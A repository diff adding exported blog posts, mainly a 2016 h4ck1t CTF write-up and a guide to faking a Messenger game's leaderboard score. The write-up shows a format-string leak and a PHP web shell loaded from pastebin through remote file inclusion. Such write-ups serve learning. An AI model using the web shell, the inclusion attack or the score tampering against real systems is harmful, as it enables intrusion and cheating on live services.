+          <pre name="636c" id="636c"
+            class="graf graf--pre graf-after--pre">for l in FLAG:<br>    x1 = random.randint(1,255)<br>    y1 = random.randint(1,255)<br>    img_pix.putpixel((x,y),(ord(l),x1,y1))<br>    x = x1<br>    y = y1</pre>
+          <pre name="5375" id="5375" class="graf graf--pre graf-after--pre">img_pix.save(‘encrypted.png’)</pre>
+          <p name="f59f" id="f59f" class="graf graf--p graf-after--pre">It seems that each character of the flag is
+            placed at random points in the encrypted image. Fortunately, each character also comes with the
+            coordinates of the next character. To solve the challenge, we just write a reversing script.</p>
+          <pre name="61b5" id="61b5"
+            class="graf graf--pre graf-after--p">FLAG = “”<br>img = Image.open(“encrypted.png”)<br>img_pix = img.convert(“RGB”)</pre>
+          <pre name="bd59" id="bd59"
+            class="graf graf--pre graf-after--pre">FLAG_LEN, x, y = img_pix.getpixel((0, 0))<br>for i in range(FLAG_LEN — 1):<br>    c, x, y = img_pix.getpixel((x, y))<br>    FLAG += chr(c)</pre>
+          <pre name="cd1f" id="cd1f" class="graf graf--pre graf-after--pre">print FLAG</pre>
+          <p name="d169" id="d169" class="graf graf--p graf-after--pre">The flag is <code
+              class="markup--code markup--p-code">h4ck1t{1NF0RM$T10N_1$_N0T_$3CUR3_4NYM0R}</code>.</p>
+          <h3 name="e98b" id="e98b" class="graf graf--h3 graf-after--p">Argentina (100)</h3>
+          <p name="dbc4" id="dbc4" class="graf graf--p graf-after--h3">I’m guessing the point of this problem was for
+            you to go through the network data and look for the right packets, but I just used <code
+              class="markup--code markup--p-code">strings</code>.</p>
+          <pre name="4678" id="4678"
+            class="graf graf--pre graf-after--p">$ strings top_secret_39af3e3ce5a5d5bc915749267d92ba43.pcap | grep h4ck1t<br>PASS h4ck1t{i_G07_ur_f1l3s}</pre>
+          <p name="5407" id="5407" class="graf graf--p graf-after--pre">The flag is <code
+              class="markup--code markup--p-code">h4ck1t{i_G07_ur_f1l3s}</code>.</p>
+          <h3 name="d1f6" id="d1f6" class="graf graf--h3 graf-after--p">Brazil (100)</h3>
+          <p name="d93e" id="d93e" class="graf graf--p graf-after--h3">In this challenge, we get a ZIP full of random
+            files (that look super suspicious), and we are asked to look for a secret. One place I eventually decided
+            to look at was Thumbs.db, which is a file that stores thumbnails for Windows Explorer.</p>
+          <p name="ccd5" id="ccd5" class="graf graf--p graf-after--p">There are many tools out there that can help
+            open this type of file. I used <a href="https://thumbsviewer.github.io"
+              data-href="https://thumbsviewer.github.io" class="markup--anchor markup--p-anchor" rel="noopener"
+              target="_blank">Thumbs Viewer</a>. Either way, the flag is the name of one of the thumbnails, <code
+              class="markup--code markup--p-code">h4ck1t{75943a3ca2223076e997fe30e17597d4}</code>.</p>
+          <h3 name="7d4a" id="7d4a" class="graf graf--h3 graf-after--p">Canada (300)</h3>
+          <p name="4a27" id="4a27" class="graf graf--p graf-after--h3">I don’t think I did this the intended way, but
+            we were given a binary that apparently produces an output file. But I just did</p>
+          <pre name="62cc" id="62cc"
+            class="graf graf--pre graf-after--p">$ strings parse | grep h4ck1t<br> to unused region of span2910383045673370361328125_cgo_thread_start missingacquirep: invalid p stateallgadd: bad status Gidlebad procedure for programbad status in shrinkstackcan’t scan gchelper stackchansend: spurious wakeupcheckdead: no m for timercheckdead: no p for timerh4ck1t{T0mmy_g0t_h1s_Gun}mach_semcreate desc countmissing stack in newstackno buffer space availableno such file or directoryoperation now in progressreflect: Bits of nil Typereleasep: invalid p stateresource deadlock avoidedruntime: program exceeds runtime</pre>
+          <p name="500e" id="500e" class="graf graf--p graf-after--pre">The flag is <code
+              class="markup--code markup--p-code">h4ck1t{T0mmy_g0t_h1s_Gun}</code>.</p>
+          <h3 name="5532" id="5532" class="graf graf--h3 graf-after--p">China (150)</h3>
+          <p name="5d82" id="5d82" class="graf graf--p graf-after--h3">This one was rather annoying. When you first
+            open the RTF file, there is about 53 pages of random hex. I stripped all the nonsense off, and opened the
+            binary file with HxD, only to discover that it was a PNG. Not only that, it seemed to have a ZIP appended
+            to the end of it.</p>
+          <p name="d14c" id="d14c" class="graf graf--p graf-after--p">At that point, I just <code
+              class="markup--code markup--p-code">binwalk</code>’d the PNG and extracted the ZIP, leading me to <code
+              class="markup--code markup--p-code">flag.txt</code>, containing the flag, <code
+              class="markup--code markup--p-code">h4ck1t{rtf_d0cs_4r3_awesome}</code>.</p>
+          <h3 name="d060" id="d060" class="graf graf--h3 graf-after--p">Chile (100)</h3>
+          <p name="2e87" id="2e87" class="graf graf--p graf-after--h3">We’re told to connect to <code
+              class="markup--code markup--p-code">91.231.84.36:9001</code>. When we connect, we are greeted with a
+            prompt: <code class="markup--code markup--p-code">wanna see?</code></p>
+          <p name="bfaf" id="bfaf" class="graf graf--p graf-after--p">It seems that the program will print back
+            whatever you give it. One thought that came to mind was a print format vulnerability. If the program calls
+            <code class="markup--code markup--p-code">printf(input)</code> where <code
+              class="markup--code markup--p-code">input</code> is the user input, then putting format symbols into our
+            input will cause the program to start reading off the stack.
+          </p>
+          <p name="91c7" id="91c7" class="graf graf--p graf-after--p">There was probably a better way to do it, but
+            essentially I just grabbed the top 50 elements off the stack and looked for a flag. And it was there!</p>
+          <pre name="423e" id="423e"
+            class="graf graf--pre graf-after--p">failedxyz@backtick:~$ python -c ‘print “%p-” * 50’ | nc 91.231.84.36 9001<br>wanna see?<br>ok, so…<br>0x7f0778198483–0x7f07781999e0–0x7f0777ec4710–0x7f07781999e0-(nil)-0x70252d70252d7025–0x252d70252d70252d-0x2d70252d70252d70–0x70252d70252d7025–0x252d70252d70252d-0x2d70252d70252d70–0x70252d70252d7025–0x252d70252d70252d-0x2d70252d70252d70–0x70252d70252d7025–0x252d70252d70252d-0x2d70252d70252d70–0x70252d70252d7025–0x252d70252d70252d-0x2d70252d70252d70–0x70252d70252d7025–0x252d70252d70252d-0x2d70252d70252d70–0x2d70252d7025-(nil)-(nil)-0x7f0777de7c38-(nil)-0x7ffe058d71d0–0x7f0778198400–0x7f0777e54987–0x7f0778198400-(nil)-0x7f07783c7740–0x7f0777e517d9–0x7f0778198400–0x7f0777e49693-(nil)-0xea7c2294f9fed000–0x7ffe058d71d0–0x4007c1–0x647b74316b633468–0x355f7530595f4431–0x3f374168375f6545–0x7d373f-0x4007f0–0xea7c2294f9fed000–0x7ffe058d72b0-(nil)-(nil)-</pre>
+          <p name="92bf" id="92bf" class="graf graf--p graf-after--pre">If you get rid of the <code
+              class="markup--code markup--p-code">(nil)</code>s and reverse the string (remember endianness), then you
+            should eventually arrive at the flag, which is <code
+              class="markup--code markup--p-code">h4ck1t{d1D_Y0u_5Ee_7hA7??7}</code>.</p>
+          <h3 name="5a4b" id="5a4b" class="graf graf--h3 graf-after--p">Germany (200)</h3>
+          <p name="7699" id="7699" class="graf graf--p graf-after--h3">In this problem, we are given a dump of some
+            Corp User’s home folder. Most of the documents are useless, but what we are looking for is in the AppData
+            folder. More specifically, the transmission of information happens over Skype, so I looked in <code
+              class="markup--code markup--p-code">AppData\Roaming\Skype\live#3aames.aldrich</code>.</p>
+          <p name="e494" id="e494" class="graf graf--p graf-after--p"><code
+              class="markup--code markup--p-code">main.db</code> kinda stuck out, so I opened that first. It was an
+            SQLite database of a bunch of different Skype data. I ended up finding the flag in the <code
+              class="markup--code markup--p-code">Contacts</code> table, in the row containing the user <code
+              class="markup--code markup--p-code">zog black</code>, under <code
+              class="markup--code markup--p-code">province</code> and <code
+              class="markup--code markup--p-code">city</code> columns apparently. The flag was <code
+              class="markup--code markup--p-code">h4ck1t{87e2bc9573392d5f4458393375328cf2}</code>.</p>
+          <h3 name="16a6" id="16a6" class="graf graf--h3 graf-after--p">Mexico (150)</h3>
+          <p name="5e37" id="5e37" class="graf graf--p graf-after--h3">If you click around the navigation bar of the
+            website, you’ll notice that the pages are loaded by <code
+              class="markup--code markup--p-code">index.php?page=example</code>. It probably includes pages through
+            some naive include function without any sanitation, although it appends <code
+              class="markup--code markup--p-code">.php</code> to the end of the filename.</p>
+          <p name="8bdd" id="8bdd" class="graf graf--p graf-after--p">To bypass this, we just stick a <code
+              class="markup--code markup--p-code">%00</code> null character to the end of our URL. Then PHP stops
+            reading when it hits that and won’t append <code class="markup--code markup--p-code">.php</code> after the
+            file. But what file can we include to find the flag?</p>
+          <p name="a0e1" id="a0e1" class="graf graf--p graf-after--p">It occurred to me that if we could include any
+            file, we could set up a pastebin containing an executable PHP code, and then include it. The PHP code I
+            included looks like this:</p>
+          <pre name="cd28" id="cd28"
+            class="graf graf--pre graf-after--p">if (isset($_GET[‘cmd’]))<br> echo system($_GET[‘cmd’]);<br>?&gt;</pre>
+          <p name="4372" id="4372" class="graf graf--p graf-after--pre">Stick that in a pastebin or something, and
+            then include it in your URL like this:</p>
+          <pre name="5f6d" id="5f6d"
+            class="graf graf--pre graf-after--p">http://91.231.84.36:9150/index.php?page=http://pastebin.com/raw/icSpe0F0%00</pre>
+          <p name="e164" id="e164" class="graf graf--p graf-after--pre">Now you can execute shell commands from the
+            URL. Doing an <code class="markup--code markup--p-code">ls</code> on the current directory reveals a file
+            called <code class="markup--code markup--p-code">sup3r_$3cr3t_f1le.php</code>. If you <code
+              class="markup--code markup--p-code">cat sup3r*</code> then you should be able to get the flag: <code
+              class="markup--code markup--p-code">h4ck1t{g00d_rfi_its_y0ur_fl@g}</code>.</p>
+          <h3 name="4b38" id="4b38" class="graf graf--h3 graf-after--p">Mongolia (100)</h3>
+          <p name="e011" id="e011" class="graf graf--p graf-after--h3">In this problem we are asked to connect to
+            <code class="markup--code markup--p-code">ctf.com.ua:9988</code> and solve math problems. We told <code
+              class="markup--code markup--p-code">C = A ^ B</code> and then given C, we are asked to find A and B.
+            Problem is, the C that they give are sometimes hundreds of digits long. Brute forcing directly is not a
+            good idea.
+          </p>
+          <p name="486d" id="486d" class="graf graf--p graf-after--p">The algorithm we used was to prime-factorize C,
+            and then multiply the factors as A, and counting how many of each factor as B. Obviously, if a factor like
+            2 appeared more than once, we multiply it twice into A, rather than making B twice as large.</p>
+          <p name="2a7c" id="2a7c" class="graf graf--p graf-after--p">We used the Sieve of Atkin to generate a list of
+            primes up to 10,000,000 (although we probably didn’t need that many), and stored it into <code
+              class="markup--code markup--p-code">primes.txt</code>. The final program looks like this:</p>
+          <pre name="f6c7" id="f6c7"
+            class="graf graf--pre graf-after--p">from collections import Counter<br>import socket</pre>
+          <pre name="7f31" id="7f31"
+            class="graf graf--pre graf-after--pre">s = socket.socket()<br>s.connect((“ctf.com.ua”, 9988))</pre>
+          <pre name="50f2" id="50f2"
+            class="graf graf--pre graf-after--pre">primes = map(int, open(“primes.txt”).read().split(“ “))<br>i = 0<br>while True:<br>    o = s.recv(8192)<br>    print o<br>    q = o.replace(“\n”, “”).replace(“ “, “”).split(“C=”)<br>    r = int(q[-1])<br>    print r<br>    done = False<br>    factors = []<br>    for prime in primes:<br>        while r % prime == 0:<br>            factors.append(prime)<br>            r //= prime<br>    c = Counter(factors)<br>    f = zip(*c.items())<br>    B = min(c.values())<br>    print f, c<br>    A = reduce(lambda x, y: x * (y ** (c[y] // B)), f[0], 1)<br>    if B == 1: A = r<br>    print A, B<br>    s.send(“%s %s\n” % (A, B))</pre>
+          <p name="16fa" id="16fa" class="graf graf--p graf-after--pre">The flag is <code
+              class="markup--code markup--p-code">h4ck1t{R4ND0M_1S_MY_F4V0UR1T3_W34P0N}</code>.</p>
+          <h3 name="51b1" id="51b1" class="graf graf--h3 graf-after--p">Oman (50)</h3>
+          <p name="8660" id="8660" class="graf graf--p graf-after--h3">I was so excited to do this challenge! Once I
+            unzipped the file and saw the folders and files, I knew it was a Minecraft world save!</p>
+          <p name="13b9" id="13b9" class="graf graf--p graf-after--p">I kind of saw it coming, but once I opened the
+            world, tons of shit blew up in my face. I decided to open it with MCEdit instead. There is a sign above
+            the spawn point that asks you to “remove the gray”. Since there was a huge rectangular field of bedrock, I
+            assumed it meant that.</p>
+          <p name="3476" id="3476" class="graf graf--p graf-after--p">Thing is if you play, and step on the pressure
+            plate, it will trigger a TNT chain reaction, blowing up the blocks that make up the flag. Using MCEdit, I
+            just selected the bedrock region and deleted it, revealing the flag below: <code
+              class="markup--code markup--p-code">h4ck1t{m1n3craft_h4c3r}</code>.</p>
+          <h3 name="d421" id="d421" class="graf graf--h3 graf-after--p">Paraguay (250)</h3>
+          <p name="3a9c" id="3a9c" class="graf graf--p graf-after--h3">Honestly, this one was such a pain in the ass.
+            Just when you thought it was 100 nested ZIPs, suddenly a RAR comes out of nowhere. Fortunately, a Python
+            library called <code class="markup--code markup--p-code">pyunpack</code> figures that out for you, by
+            checking the magic number of the file. The final script looks like this:</p>
+          <pre name="1165" id="1165"
+            class="graf graf--pre graf-after--p">from pyunpack import *<br>import shutil</pre>
+          <pre name="e117" id="e117"
+            class="graf graf--pre graf-after--pre">for i in range(100, 0, -1):<br>    Archive(“%d” % i).extractall(“.”)<br>    shutil.move(“work_folder/%d” % (i — 1), “%d” % (i — 1))</pre>
+          <p name="4d19" id="4d19" class="graf graf--p graf-after--pre">The flag is <code
+              class="markup--code markup--p-code">h4ck1t{0W_MY_G0D_Y0U_M4D3_1T}</code> .</p>
+          <h3 name="ee3c" id="ee3c" class="graf graf--h3 graf-after--p">United States (50)</h3>
+          <p name="216c" id="216c" class="graf graf--p graf-after--h3">This one was a freebie. Join their Telegram
+            channel and you get a free flag: <code
+              class="markup--code markup--p-code">h4ck1t{fr33_4nd_$ecur3!}</code>.</p>
+          <h3 name="df84" id="df84" class="graf graf--h3 graf-after--p">Trivia</h3>
+          <p name="7257" id="7257" class="graf graf--p graf-after--h3">There were a lot of trivia questions on the
+            board! They weren’t worth much, but still pretty fun. Here are the solutions:</p>
+          <pre name="28e0" id="28e0"
+            class="graf graf--pre graf-after--p graf--trailing">Cote d’Ivoire: h4ck1t{arpanet}<br>Bolivia: h4ck1t{Tim}<br>Colombia: h4ck1t{heartbleed}<br>Costa Rica: h4ck1t{7}<br>Ecuador: h4ck1t{archie}<br>Finland: h4ck1t{mitnick}<br>Greece: h4ck1t{30}<br>Honduras: h4ck1t{Binary}<br>Italy: h4ck1t{2015}<br>Kazakhstan: h4ck1t{polymorphic}<br>Kyrgyzstan: h4ck1t{smtp}<br>Madagascar: h4ck1t{caesar}<br>Nicaragua: h4ck1t{B@S3_S0_B@S3_}<br>Nigeria: h4ck1t{128}<br>Peru: h4ck1t{Decimal}<br>Phillipines: h4ck1t{creeper}<br>Spain: h4ck1t{social engineering}<br>Venezuela: h4ck1t{admin123}</pre>
+        </div>
+      </div>
+    </section>
+  </section>
+  <footer>
+    <p>By <a href="https://medium.com/@failedxyz" class="p-author h-card">Michael Zhang</a> on <a
+        href="https://medium.com/p/8caf20e4b185"><time class="dt-published"
+          datetime="2016-10-02T20:46:42.000Z">October 2, 2016</time></a>.</p>
+    <p><a href="https://medium.com/@failedxyz/h4ck1t-ctf-2016-8caf20e4b185" class="p-canonical">Canonical link</a></p>
+    <p>Exported from <a href="https://medium.com">Medium</a> on October 8, 2024.</p>
+  </footer>
+</article>

src/content/posts/2016-12-01_Lightning-Speed-Run.md

@@ -0,0 +1,131 @@
+---
+title: Lightning Speed Run
+date: 2016-12-01T22:26:36.000Z
+tags: [medium-blog]
+---
+
+<article class="h-entry">
+  <section data-field="body" class="e-content">
+    <section name="6b11" class="section section--body section--first section--last">
+      <div class="section-content">
+        <div class="section-inner sectionLayout--insetColumn">
+          <p name="a5c4" id="a5c4" class="graf graf--p graf-after--h3">Recently, a new little icon appeared in the
+            text box on Messenger next to the camera icon and payments:</p>
+          <figure name="a818" id="a818" class="graf graf--figure graf-after--p"><img class="graf-image"
+              data-image-id="0*pGW634t0gBRppaDV.png" data-width="417" data-height="165"
+              src="https://cdn-images-1.medium.com/max/800/0*pGW634t0gBRppaDV.png">
+            <figcaption class="imageCaption">The games icon.</figcaption>
+          </figure>
+          <p name="c25c" id="c25c" class="graf graf--p graf-after--figure">If you click it, a menu shows up and you
+            can play a number of in-browser games. It seems that the games are run without any plugins, so they use
+            HTML5 to run and interact with Facebook’s API, such as setting scores on the leaderboard and whatnot.</p>
+          <p name="f0a0" id="f0a0" class="graf graf--p graf-after--p">In this post, I’ll look at the game <strong
+              class="markup--strong markup--p-strong">TRACK &amp; FIELD 100M</strong>. The object of this game is to
+            press the left-foot button and the right-foot button as quickly as possible. Since your final score is the
+            elapsed time, lower scores will outrank higher scores. I will explain how to achieve a score of 0:00.01.
+          </p>
+          <h3 name="5a38" id="5a38" class="graf graf--h3 graf-after--p">Step 1: Finding the Source Files</h3>
+          <p name="5644" id="5644" class="graf graf--p graf-after--h3">It turns out that when Messenger loads the
+            source files for the game (which are *.js files) when you first open the game. This makes it easy to
+            figure out which source files are responsible for the actual game logic. In this tutorial, I’ll be using
+            Chrome, but I’ve confirmed that it works on Microsoft Edge as well.</p>
+          <p name="7b9c" id="7b9c" class="graf graf--p graf-after--p">First, open Developer Tools using Ctrl+Shift+I
+            or F12, and go to the Network tab. There might be a few resources loaded already; delete them with the 🛇
+            button. Since we are looking for JavaScript files, open the filter view and select JS.</p>
+          <p name="dcc3" id="dcc3" class="graf graf--p graf-after--p">Now, when Facebook loads the JavaScript source
+            files, they will appear in this view. Open the game menu and press the Play button next to the game TRACK
+            &amp; FIELD 100M. Once you have done this, a few files will start to appear.</p>
+          <figure name="8807" id="8807" class="graf graf--figure graf-after--p"><img class="graf-image"
+              data-image-id="0*_aZtMhKZDxW0im1t.png" data-width="676" data-height="275"
+              src="https://cdn-images-1.medium.com/max/800/0*_aZtMhKZDxW0im1t.png">
+            <figcaption class="imageCaption">Network tab in Chrome Developer Tools.</figcaption>
+          </figure>
+          <p name="07f6" id="07f6" class="graf graf--p graf-after--figure">main.js looks like a pretty good place to
+            start. Look at the URL: <code
+              class="markup--code markup--p-code">https://apps-1665884840370147.apps.fbsbx.com/instant-bundle/1230433990363006/1064870650278605/main.js</code>.
+            Since this resource has already been loaded into the browser, we can find it under the Sources tab of
+            Developer Tools. Trace the path, starting from the domain like this:</p>
+          <figure name="360f" id="360f" class="graf graf--figure graf-after--p"><img class="graf-image"
+              data-image-id="0*Dcb_QsTKJFFrq2lg.png" data-width="676" data-height="529"
+              src="https://cdn-images-1.medium.com/max/800/0*Dcb_QsTKJFFrq2lg.png">
+            <figcaption class="imageCaption">Finding the source code.</figcaption>
+          </figure>
+          <h3 name="e060" id="e060" class="graf graf--h3 graf-after--figure">Step 2: Analyzing main.js</h3>
+          <p name="df9f" id="df9f" class="graf graf--p graf-after--h3">Go ahead an pretty-print the minified file,
+            just like it suggests. (for those of you who didn’t get that notification, just hit the {} button next to
+            Line/Column. Since this file isn’t obfuscated, it’s fairly easy to just look through the file and figure
+            out what it does.</p>
+          <p name="147a" id="147a" class="graf graf--p graf-after--p">I don’t really know how to explain this part
+            well; if you’re familiar with code, you should be able to traverse the file pretty easily. I eventually
+            arrived at this function:</p>
+          <pre name="65f2" id="65f2"
+            class="graf graf--pre graf-after--p">GameScene.prototype.stepEnd_ = function() {<br>    if (this.isStepTimeOver_(2e3)) {<br>        var e = Math.floor(1e3 * this.timeSpeed_.getTime());<br>        FBInstant.setScore(e),<br>        FBInstant.takeScreenshot(),<br>        this.stepFunc_ = this.stepEnd2_,<br>        this.audience_.fadeTo(.5)<br>    }<br>}</pre>
+          <p name="ff9d" id="ff9d" class="graf graf--p graf-after--pre"><code
+              class="markup--code markup--p-code">stepEnd_</code> is the handler for the event where the user finishes
+            the game. As you can see, it computes the elapsed the time, and multiplies it by 1,000 (probably because
+            Facebook stores these scores as integers). This is sent to Facebook using the <code
+              class="markup--code markup--p-code">FBInstant</code> library’s <code
+              class="markup--code markup--p-code">setScore</code> function. After looking at a couple of these games,
+            you’ll notice that <code class="markup--code markup--p-code">FBInstant</code> is pretty much universal
+            among these games, since it’s required to interact with the Facebook API.</p>
+          <h3 name="25ef" id="25ef" class="graf graf--h3 graf-after--p">Step 3: The Exploit</h3>
+          <p name="ed05" id="ed05" class="graf graf--p graf-after--h3">The strategy to exploit this is to add a
+            breakpoint at that line, so code execution is paused before that line is executed. Then we are free to
+            change the variable to whatever we’d like to change it to, and then resume execution so that our changed
+            value is sent to the server.</p>
+          <p name="4095" id="4095" class="graf graf--p graf-after--p">I’d like to point out that setting the variable
+            to non-numerical types will simply cause the upload to fail. I’m guessing they’re doing some type-checking
+            on it server-side. That doesn’t prevent us from simply changing the value to 0 and sending it to the
+            server.</p>
+          <p name="bf3b" id="bf3b" class="graf graf--p graf-after--p">To add a breakpoint to that line, click the line
+            number where the line <code class="markup--code markup--p-code">FBInstant.setScore(e)</code> appears. The
+            blue arrow indicates that a breakpoint has been set, and code execution will stop before this line starts.
+          </p>
+          <figure name="8c89" id="8c89" class="graf graf--figure graf-after--p"><img class="graf-image"
+              data-image-id="0*pFhcPeUtuQ3H74Qd.png" data-width="427" data-height="151"
+              src="https://cdn-images-1.medium.com/max/800/0*pFhcPeUtuQ3H74Qd.png">
+            <figcaption class="imageCaption">Adding a breakpoint in the code.</figcaption>
+          </figure>
+          <p name="4780" id="4780" class="graf graf--p graf-after--figure">Now, start the game and play through it
+            like normal. It doesn’t matter what score you get, as long as you finish and trigger the <code
+              class="markup--code markup--p-code">stepEnd_</code> function, the code will stop and wait for you before
+            submitting your score.</p>
+          <p name="d32b" id="d32b" class="graf graf--p graf-after--p">If you are still on the Sources tab, you’ll be
+            able to see the variables in the scope of the deepest function we are in when the code stops.</p>
+          <figure name="8f1b" id="8f1b" class="graf graf--figure graf-after--p"><img class="graf-image"
+              data-image-id="0*YZn_TJFtZ8NSNpne.png" data-width="679" data-height="521"
+              src="https://cdn-images-1.medium.com/max/800/0*YZn_TJFtZ8NSNpne.png">
+            <figcaption class="imageCaption">Local variables at the point where we added the breakpoint.</figcaption>
+          </figure>
+          <p name="23ff" id="23ff" class="graf graf--p graf-after--figure">Open the Console (either by navigating to
+            the Console tab, or just pressing Esc to open it within the Sources tab), and just type</p>
+          <pre name="135a" id="135a" class="graf graf--pre graf-after--p">e = 1</pre>
+          <p name="b024" id="b024" class="graf graf--p graf-after--pre">We just changed the value of the local
+            variable <code class="markup--code markup--p-code">e</code> to 1 (1 millisecond; for some reason it bugs
+            when I use <code class="markup--code markup--p-code">e = 0</code>). When the execution continues, it will
+            use our changed value, and submit that to the score server. Exit the game, and you should see that score
+            reflected on the leaderboard.</p>
+          <h3 name="d338" id="d338" class="graf graf--h3 graf-after--p">Recap</h3>
+          <p name="4285" id="4285" class="graf graf--p graf-after--h3">When you are developing browser-based games,
+            you can never trust user input. As long as the user has control, he can jack the browser logic and change
+            variables during runtime. Ideally, the game logic should be done server-side, and the client is simply a
+            terminal passing inputs to the server and visuals back to the client.</p>
+          <p name="2d42" id="2d42" class="graf graf--p graf-after--p">However, this is highly impractical. If you sent
+            a request for every input and waited for the server to respond, you’d get a huge delay, even for very fast
+            connections. This is one of the hardest problems to tackle in real-time RPGs: how can we verify that the
+            user is moving as they should, while still running the game as fast as we can?</p>
+          <p name="90a9" id="90a9" class="graf graf--p graf-after--p graf--trailing">That’s all I have today. Thanks
+            for reading!</p>
+        </div>
+      </div>
+    </section>
+  </section>
+  <footer>
+    <p>By <a href="https://medium.com/@failedxyz" class="p-author h-card">Michael Zhang</a> on <a
+        href="https://medium.com/p/eb9637dc5b1c"><time class="dt-published"
+          datetime="2016-12-01T22:26:36.000Z">December 1, 2016</time></a>.</p>
+    <p><a href="https://medium.com/@failedxyz/lightning-speed-run-eb9637dc5b1c" class="p-canonical">Canonical link</a>
+    </p>
+    <p>Exported from <a href="https://medium.com">Medium</a> on October 8, 2024.</p>
+  </footer>
+</article>

src/content/posts/2016-12-30_XinIRC-development.md

@@ -0,0 +1,32 @@
+---
+title: XinIRC development
+date: 2016-12-30T05:19:21.000Z
+tags: [medium-blog]
+---
+
+<article class="h-entry">
+  <section data-field="body" class="e-content">
+    <section name="a4a4" class="section section--body section--first section--last">
+      <div class="section-content">
+        <div class="section-inner sectionLayout--insetColumn">
+          <p name="7483" id="7483" class="graf graf--p graf-after--h3">Today, I marked the <a
+              href="https://github.com/failedxyz/xinircd/releases/tag/v0.1a"
+              data-href="https://github.com/failedxyz/xinircd/releases/tag/v0.1a"
+              class="markup--anchor markup--p-anchor" rel="noopener" target="_blank">initial release</a> of XinIRCd,
+            an IRC server that I just started working on recently. As of now, it’s still heavily inspired by InspIRCd,
+            from its configuration wizard to its command handling, but I’ll start adding more features soon.</p>
+          <p name="0b8e" id="0b8e" class="graf graf--p graf-after--p graf--trailing">I’ve still got a couple weeks
+            left of break, so I’ll try to get as much done in that time as possible.</p>
+        </div>
+      </div>
+    </section>
+  </section>
+  <footer>
+    <p>By <a href="https://medium.com/@failedxyz" class="p-author h-card">Michael Zhang</a> on <a
+        href="https://medium.com/p/6e7dfe8bce05"><time class="dt-published" datetime="2016-12-30T05:19:21.000Z">December
+          30, 2016</time></a>.</p>
+    <p><a href="https://medium.com/@failedxyz/xinirc-development-6e7dfe8bce05" class="p-canonical">Canonical link</a>
+    </p>
+    <p>Exported from <a href="https://medium.com">Medium</a> on October 8, 2024.</p>
+  </footer>
+</article>

src/content/posts/2017-01-03_Wi-Fi-Problems-when-Installing-Linux-on-ASUS-machines.md

@@ -0,0 +1,51 @@
+---
+title: Wi-Fi Problems when Installing Linux on ASUS machines
+date: 2017-01-03T22:58:06.000Z
+tags: [medium-blog]
+---
+
+<article class="h-entry">
+  <section data-field="body" class="e-content">
+    <section name="0ff7" class="section section--body section--first section--last">
+      <div class="section-content">
+        <div class="section-inner sectionLayout--insetColumn">
+          <p name="3a83" id="3a83" class="graf graf--p graf-after--h3">Recently, I’ve been exploring installing
+            various Linux distributions over my Windows installation. The main reason for doing this would be not
+            having to pull up a virtual machine every time I wanted to do anything.</p>
+          <p name="3a29" id="3a29" class="graf graf--p graf-after--p">But with both Arch Linux and Ubuntu, I kept
+            running into the same problem: I couldn’t connect to Wi-Fi. I poked around, and it said that my network
+            switch (the hardware one) was switched off. No matter what I tried to do with <code
+              class="markup--code markup--p-code">rfkill</code>, I couldn’t get the physical switch back on.</p>
+          <p name="43b7" id="43b7" class="graf graf--p graf-after--p">My ASUS computer doesn’t have a network switch.
+            There’s an ‘airplane mode’ button, but that didn’t really do anything either. I eventually found the
+            solution in <a href="https://ubuntuforums.org/showthread.php?t=2181558"
+              data-href="https://ubuntuforums.org/showthread.php?t=2181558" class="markup--anchor markup--p-anchor"
+              rel="noopener" target="_blank">this thread</a>, but I’ll repeat it here.</p>
+          <pre name="32a3" id="32a3"
+            class="graf graf--pre graf-after--p">echo &quot;options asus_nb_wmi wapf=4&quot; | sudo tee /etc/modprobe.d/asus_nb_wmi.conf</pre>
+          <p name="203e" id="203e" class="graf graf--p graf-after--pre">..or simply put that line in that file. <code
+              class="markup--code markup--p-code">asus_nb_wmi</code> is the driver for the Wi-Fi module. What does
+            <code class="markup--code markup--p-code">wapf=4</code> do? Well, according to <a
+              href="https://github.com/rufferson/ashs" data-href="https://github.com/rufferson/ashs"
+              class="markup--anchor markup--p-anchor" rel="noopener" target="_blank">this</a>,
+          </p>
+          <blockquote name="9624" id="9624" class="graf graf--blockquote graf-after--p">When WAPF = 4 — driver sends
+            ACPI scancode 0x88 which is converted by asus-wmi to RFKILL key, which is processed by all registerd
+            rfkill drivers to toggle their state.</blockquote>
+          <p name="6456" id="6456" class="graf graf--p graf-after--blockquote">Essentially, it is making <code
+              class="markup--code markup--p-code">rfkill</code> recognize that the hardware switch is not off, so the
+            Wi-Fi works again.</p>
+          <p name="ca42" id="ca42" class="graf graf--p graf-after--p graf--trailing">Thanks for reading!</p>
+        </div>
+      </div>
+    </section>
+  </section>
+  <footer>
+    <p>By <a href="https://medium.com/@failedxyz" class="p-author h-card">Michael Zhang</a> on <a
+        href="https://medium.com/p/75be2b8b7cc3"><time class="dt-published" datetime="2017-01-03T22:58:06.000Z">January
+          3, 2017</time></a>.</p>
+    <p><a href="https://medium.com/@failedxyz/wi-fi-problems-when-installing-linux-on-asus-machines-75be2b8b7cc3"
+        class="p-canonical">Canonical link</a></p>
+    <p>Exported from <a href="https://medium.com">Medium</a> on October 8, 2024.</p>
+  </footer>
+</article>

src/content/posts/2017-01-07_Watch-out--returning-users.md

@@ -0,0 +1,63 @@
+---
+title: Watch out, returning users!
+date: 2017-01-07T02:58:17.000Z
+tags: [medium-blog]
+---
+
+<article class="h-entry">
+  <section data-field="body" class="e-content">
+    <section name="0a81" class="section section--body section--first section--last">
+      <div class="section-content">
+        <div class="section-inner sectionLayout--insetColumn">
+          <p name="2c44" id="2c44" class="graf graf--p graf-after--h3">A lot of websites put <strong
+              class="markup--strong markup--p-strong">cookies</strong> on your computer in order to save information
+            about your previous visits to the site. The most common use case would be storing a key that would allow
+            your computer to auto-login to the site the next time you visited it (rather than forcing you to
+            re-login).</p>
+          <p name="a1d8" id="a1d8" class="graf graf--p graf-after--p">Many sites also put cookies on your computer to
+            figure out if you’ve visited the site before, and may change behavior based on whether you’re a new user,
+            or you’re a returning user.</p>
+          <p name="a6fd" id="a6fd" class="graf graf--p graf-after--p">For example, take a look at <a
+              href="https://www.livingsocial.com/deals/1630304-pokemon-go-course"
+              data-href="https://www.livingsocial.com/deals/1630304-pokemon-go-course"
+              class="markup--anchor markup--p-anchor" rel="noopener" target="_blank">this website</a>. Let’s ignore
+            the product that it’s advertising for now and just focus on the “Limited Time Savings” offer on the right
+            side. Isn’t it strange how the timer started at 5:00 exactly? In other words, either you were incredibly
+            lucky to have visited the site <em class="markup--em markup--p-em">exactly</em> 5 minutes before the offer
+            ended, or there’s some other trick they’re pulling.</p>
+          <p name="1b3d" id="1b3d" class="graf graf--p graf-after--p">It turns out that one of the cookies (I haven’t
